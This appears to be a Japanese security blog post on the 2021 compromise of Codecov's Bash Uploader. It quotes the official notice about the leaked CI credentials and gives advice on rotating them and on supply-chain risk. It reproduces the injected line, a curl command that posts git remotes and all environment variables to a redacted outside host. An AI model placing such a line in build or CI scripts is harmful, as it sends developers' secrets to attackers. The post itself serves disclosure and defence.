テストのカバレッジを可視化してくれるCodecovサービスのインフラが侵害され、Bash Uploaderに1月下旬から約3か月間バックドアを仕掛けられていた様です。
securityaffairs.co
公式発表
・Bash Uploader Security Update (4/15)
Codecovは、システムとデータのセキュリティを非常に重要視しており、お客様を保護するために多数の保護手段を実装しています。2021年4月1日木曜日に、誰かがBash Uploader スクリプトへの不正アクセスを取得し、許可なく変更したことを知りました。アクターは、CodecovのDockerイメージ作成プロセスでエラーが発生し、Bashアップローダースクリプトの変更に必要なクレデンシャルを抽出できるようになったため、アクセスを取得しました。
(中略)
調査の結果、2021年1月31日以降、サードパーティによるBash Uploaderスクリプトの定期的な不正変更があり、ユーザーの継続的インテグレーション(CI)環境に保存されている情報をエクスポートできる可能性があることが判明しました。次に、この情報はCodecovのインフラストラクチャ外のサードパーティサーバーに送信されました。
(公式発表より引用)※機械翻訳
キタきつねの所感
新たなサプライチェーン攻撃が発覚した様です。
国内でもCodecovを利用されている方の記事が多数見つかりますので、テストで利用していた(又は本番バージョンで利用していた)認証情報が窃取された可能性がありますので留意が必要かと思います。
公式サイトの実績を見ると、Google、P&G、Grab、Paloalto、RBCといった名だたる企業もCodecovを利用しており、全世界で2.9万以上の組織に利用されていると公表されていますので、国内の開発会社が影響を受けている可能性は十分あるかと思います。
※影響を受けたユーザへはCodecovから4/15に登録メールアドレスに連絡が行っており、Codecovログイン後にも通知バーナーが出る様になっている様です
攻撃者は、Codecovのインフラを侵害し、bashアップローダーにバックドアを定期的に仕掛けて、ユーザの機密情報を窃取していた様です。
具体的には、bashスクリプトが次のように変更されました。
curl -sm 0.5 -d“ $(git remote -v)<<<<<< ENV $(env)” http:// <編集済み> / upload / v2 || true
サードパーティサーバーのIPアドレスは、現在進行中の連邦調査の一部であるため、編集されていることに注意してください。
さらに、ローカルに保存されたバージョンのBash Uploaderを使用する場合は、そのバージョンで次のことを確認する必要があります。
(公式発表より引用)※機械翻訳
漏えいした可能性のある情報は以下の通りです。
・Bash Uploaderスクリプトが実行されたときにアクセスできる、お客様がCIランナーを通過していた資格情報、トークン、またはキー。
・これらの資格情報、トークン、またはキーを使用してアクセスできるサービス、データストア、およびアプリケーションコード。
・Bashアップローダーを使用してCIのCodecovにカバレッジをアップロードするリポジトリのgitリモート情報(オリジンリポジトリのURL)。
(公式発表より引用)※機械翻訳
Codecovは、すべての資格情報、トークン、秘密鍵などの変更を強く推奨しています。漏えいしたデータを元にした2次攻撃を想定し、Codecov利用ユーザは影響の有無の確認を急ぐ事が必要かと思います。
影響を受けるユーザーは、CodecovのBashアップローダーの1つを使用したCIプロセスの環境変数にあるすべての資格情報、トークン、またはキーをすぐに再ロールすることを強くお勧めします。
CIパイプラインでenvコマンドを実行することにより、CI環境に表示されるキーとトークンを判別できます。そのコマンドから返されたものがプライベートまたは機密であると見なされる場合は、クレデンシャルを無効にして新しいクレデンシャルを生成することを強くお勧めします。さらに、システムでのこれらのトークンの使用を監査することをお勧めします。
(公式発表より引用)※機械翻訳
既に”対応済”の方の記事もありましたので、参考までリンクを貼っておきます。
zenn.dev
余談です。残念ながらと言うべきか、SolarWindsやAccellion FTAの例を言うまでもなく、攻撃者はソフトウェアサプライチェーン攻撃の有効性に気づいているので、今後もこうした”攻撃被害”が頻発する事が予想されます。
最近読んだ別な記事では、ソフトウェア開発における”依存関係”が取り上げられており、攻撃者にとって、開発サプライチェーンが「狙い目」になってきている事がよく分かります。
beta.darkreading.com
ソフトウェア管理会社Synopsysからの新しいレポートによると、平均的なソフトウェアアプリケーションは500を超えるオープンソースライブラリとコンポーネントに依存しており、2年間で298の依存関係から77%増加しており、すべてのソフトウェアコンポーネントの脆弱性を追跡することの難しさを浮き彫りにしています。
「オープンソースのセキュリティとリスク分析」(OSSRA)レポートで、同社は、アプリケーションの98%がオープンソースを使用し、オープンソースのライブラリとコンポーネントが平均的なソフトウェアアプリケーションのコードの75%以上を占めていることを発見したと述べています。ほとんどのアプリケーション(84%)には少なくとも1つの脆弱性があり(一般的なアプリケーションには158の脆弱性がありました)、60%のアプリケーションには少なくとも1つの重大度の高い問題がありました。
(Dark Reading記事より引用)※機械翻訳
アプリケーション開発が、オープンソースのライブラリとコンポーネントに依存する事を止めるのは不可能ですので、私は”サードパーティが侵害される”事を前提とした備えが重要だと思います。
例えばテストで利用していた(把握できている)ライブラリと、現在使っているライブラリのファイルのハッシュ値を比較して、更新をツールでチェックするといった対策も考えられますが、あまりにも数が多いとチェック負荷の方が大きくなってしまうので、公式の「脆弱性」発表が出たらいち早く対応が出来る様に、運用ルールを見直す事の方が現実的かも知れません。
※5/2追記:更新記事をUPしました。ご参考まで。
foxsecurity.hatenablog.com
本日もご来訪ありがとうございました。
Thank you for your visit. Let me know your thoughts in the comments.
更新履歴